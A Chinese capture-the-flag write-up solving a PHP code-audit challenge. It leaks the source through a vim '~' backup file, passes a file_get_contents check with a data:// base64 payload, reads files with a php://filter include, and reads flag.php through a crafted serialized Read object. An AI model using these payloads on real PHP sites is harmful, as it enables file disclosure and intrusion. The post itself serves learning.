前言:
朋友在给客户培训,然后有个题,就帮忙看看了,也是自己学习一下吧!
题目:代码审计
PHP 是世界上最好的语言,我这样说你有意见么?
Address
目录:
一道代码审计题目:
打开题目就显示一句话 you can't get flag!
然后听朋友讲,不管怎么扫都没有用,
代码审计的题目,一般是要看到源码才能审计的,
要么是扫到源码,要么就爆出源码
那么如果扫不到,那么就爆吧!
起初查看源代码没有任何东西,
根据经验,后面加个 ~
波浪线 就能爆出源码,查看源代码就能看到源码了
关于为什么 ~
波浪线 能够爆出源码
它是 Linux备份文件,用文本编辑器编辑文件时的备份文件,比如 vim 编辑文件时产生的备份文件
源码:
<!--
$testa = $_GET["user"];
$testb = $_GET["file"];
$testc = $_GET["pass"];
if(isset($testa)&&(file_get_contents($testa,'r')==="can you get flag")){
echo "Surprise !<br><br><br><br>";
include($testb); //key.php
}else{
echo "you can't get flag! ";
}
-->
首先要满足两个条件,
一个是 $testa 不能为空,另外一个是 $testa 内容为 can you get flag
file_get_contents() 函数是将文件内容读入到字符串中
我们有两种方法满足这个条件,
一种是使用远程文件,另外一种是使用 data 伪协议
来尝试构造 payload
?user=data:text/plain;base64,Y2FuIHlvdSBnZXQgZmxhZw==&file=key.php
data:text/plain 表示将文件设置为纯文本的形式
base64 就是表示使用 base64编码
Y2FuIHlvdSBnZXQgZmxhZw== (can you get flag)为文本内容
这样就满足条件,然后通过 file 变量包含 key.php 文件
运行之后发现输出了 Surprise ,说明第一个条件是满足的,但是没有看到 key.php 的内容
根据以往经验,还需要使用其他伪协议来读取
可以使用 php://filter 协议 来读取一下 index2.php 的源码
payload: ?user=data:text/plain,base64,Y2FuIHlvdSBnZXQgZmxhZw==&file=php://filter/read=convert.base64-encode/resource=index2.php
然后成功读取到 index2.php 的内容
解密
再来看看代码
<?php
$testa = $_GET["user"];
$testb = $_GET["file"];
$testc = $_GET["pass"];
if(isset($testa)&&(file_get_contents($testa,'r')==="can you get flag")){
echo "Surprise !<br><br><br><br>";
if(preg_match("/flag/",$testb)){
exit();
}else{
include($testb); //class.php
$testc = unserialize($testc);
echo $testc;
}
}else{
echo "you can't get flag!";
}
?>
这里他使用了一个正则表达式判断 $testb 参数,
如果参数带 flag ,那么就退出
这里需要进行反序列化参数 $testc
还需要读取一个文件 ,就是 key.php
解码后 key.php 的代码
<?php
class Read{//flag.php
public $testb;
public function __toString(){
if(isset($this->file)){
echo file_get_contents($this->file);
}
return "__toString to killyou!";
}
}
?>
这里 class 了一个 Read 类,用来读取 flag 的
__toString()
是魔术方法的一种,具体用途是当一个对象被当作字符串对待的时候,会触发这个魔术方法
思路就是将 读 flag 的 payload 传入到 key.php 这个页面下
这个 payload 需要 满足 $testa 、 $testb 、 $testc
$testa 要满足 can you get flag
$testb 要包含 key.php
$testc 就是读取 flag 了
那么 $testc 反序列化的内容怎么构造呢
首先要能够调用类 Read
然后要满足 $this->file
$this->file 就是 $_GET["file"]
参数里面的文件信息
怎么就payload就是: pass=O:4:"Read":1:{s:4:"file";s:8:"flag.php";}
那么 $this->file 就是 flag.php
整个payload就是:
?user=data:text/plain;base64,Y2FuIHlvdSBnZXQgZmxhZw==&file=key.php&pass=O:4:"Read":1:{s:4:"file";s:8:"flag.php";}
然后成功读取到 flag
flag 在源码里面
总结:
怎么讲,就是太菜了,一波三折
如果有什么不懂的,可以把代码弄到本地,
然后自己断点输出,这样会比较明了
参考文献:
CTF wp https://www.jianshu.com/p/879115af6fc6
data 协议 https://www.cnblogs.com/liyongquan/p/8615928.html